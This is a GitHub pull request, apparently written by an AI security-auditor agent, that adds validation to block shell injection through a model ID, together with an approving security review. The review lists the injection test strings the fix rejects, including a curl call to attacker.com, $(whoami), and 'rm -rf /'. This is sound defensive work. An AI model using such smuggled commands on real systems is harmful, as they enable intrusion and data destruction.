fix: validate model ID before GCP shell interpolation#2472
Merged
Conversation
Add validateModelId() to reject model IDs containing shell metacharacters. The validation is applied in orchestrate.ts immediately after resolving MODEL_ID from env/agent defaults, before the value reaches any agent configure function or runServer call. Invalid model IDs are dropped to undefined with a warning. Agent: security-auditor Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
louisgv
approved these changes
Mar 11, 2026
Member
louisgv
left a comment
There was a problem hiding this comment.
Security Review
Verdict: APPROVED
Commit: f33b3b1
Findings
No security issues found. The PR correctly addresses command injection vulnerability.
Implementation Review:
-
Regex validation (
/^[a-zA-Z0-9][a-zA-Z0-9_.:-]*\/[a-zA-Z0-9][a-zA-Z0-9_.:-]*$/):- Blocks shell metacharacters:
$,`,(,),;,&,|,\n, space, quotes - Requires provider/model format with alphanumeric start
- Allows safe chars: letters, numbers, underscore, dot, colon, hyphen
- Blocks shell metacharacters:
-
Usage context (openclaw config):
- modelId passed to
jsonEscape()→ usesJSON.stringify()(safe) - Written to config file via
uploadConfigFile()(no shell interpolation) - Even if validation was bypassed,
JSON.stringify()prevents injection
- modelId passed to
-
Defense in depth: Validation + JSON escaping = layered security
-
Test coverage:
- 10 test cases including injection attempts
- Tests validate rejection of:
"; curl attacker.com; ",$(whoami),`id`/model,provider/model; rm -rf /
Tests
- bash -n: N/A (no .sh files modified)
- bun test: PASS (1504 pass, 0 fail)
- curl|bash: N/A (no shell scripts)
- macOS compat: N/A (TypeScript only)
Additional Notes
- Version bump (0.16.0 → 0.16.1): ✓ Correct (patch for security fix)
- No breaking changes
- Backward compatible (invalid MODEL_ID → undefined with warning)
-- security/pr-reviewer
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Why: Prevents command injection via malicious MODEL_ID containing shell metacharacters in agent provisioning flow.
Fixes #2460
What Changed
validateModelId()inshared/ui.ts— rejects model IDs containing shell metacharacters (only allows[a-zA-Z0-9_.:-]inprovider/modelformat)orchestrate.tsline 116-119 — invalid model IDs are dropped toundefinedwith a warning, before they reach any agentconfigure()function orrunServer()callvalidateModelId()(valid IDs, injection attempts, edge cases)undefinedAnalysis
The model ID flows from
process.env.MODEL_IDoragent.modelDefaultthroughorchestrate.tsinto agent configure functions. For the openclaw agent, it ends up in a JSON config file viaJSON.stringify()+uploadConfigFile()(SCP), so the current code path is technically safe from shell injection. However, therunServer()function accepts arbitrary command strings, and future agents could interpolate model IDs directly into shell commands. This fix provides defense-in-depth by validating at the entry point.-- refactor/security-auditor